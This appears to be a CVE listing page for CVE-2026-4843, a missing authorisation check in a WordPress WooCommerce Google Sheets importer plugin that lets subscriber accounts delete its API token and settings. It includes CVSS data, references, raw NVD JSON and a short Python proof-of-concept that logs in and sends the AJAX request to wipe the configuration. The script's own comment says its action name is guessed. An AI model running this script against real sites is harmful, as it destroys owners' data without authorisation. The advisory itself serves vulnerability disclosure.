CVE-2026-4843

Description

The GSheet For Woo Importer plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the process_ajax_restore_action() function in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Google Sheets API token and configuration options.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GSheet For Woo Importer <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-4843 PoC Script
# Target: WordPress GSheet For Woo Importer <= 2.3.1

TARGET_URL = "http://example.com/wp-admin/admin-ajax.php"
WP_USER = "subscriber"
WP_PASS = "password"

def exploit():
    session = requests.Session()

    # 1. Login to get authenticated cookies
    login_url = "http://example.com/wp-login.php"
    payload = {
        "log": WP_USER,
        "pwd": WP_PASS,
        "redirect_to": "http://example.com/wp-admin/",
        "wp-submit": "Log In"
    }
    session.post(login_url, data=payload)
    
    # 2. Send malicious AJAX request to delete config
    # Note: The specific action name 'restore_action' is inferred from the function name process_ajax_restore_action
    exploit_data = {
        "action": "restore_action" 
    }
    
    response = session.post(TARGET_URL, data=exploit_data)
    
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if plugin configuration is wiped.")
    else:
        print("[-] Exploit failed.")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4843
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4843
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4843/
[4] VulDB https://vuldb.com/cve/CVE-2026-4843
[5] https://plugins.trac.wordpress.org/browser/import-products-from-gsheet-for-woo-importer/tags/2.3.1/src/Actions/AdminSettingsAction.php#L391
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/b0d60991-0675-4efa-9427-380e6b59fe28?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4843", "sourceIdentifier": "[email protected]", "published": "2026-05-21T20:16:14.723", "lastModified": "2026-05-21T21:03:56.320", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GSheet For Woo Importer plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the process_ajax_restore_action() function in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Google Sheets API token and configuration options."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/import-products-from-gsheet-for-woo-importer/tags/2.3.1/src/Actions/AdminSettingsAction.php#L391", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b0d60991-0675-4efa-9427-380e6b59fe28?source=cve", "source": "[email protected]"}]}}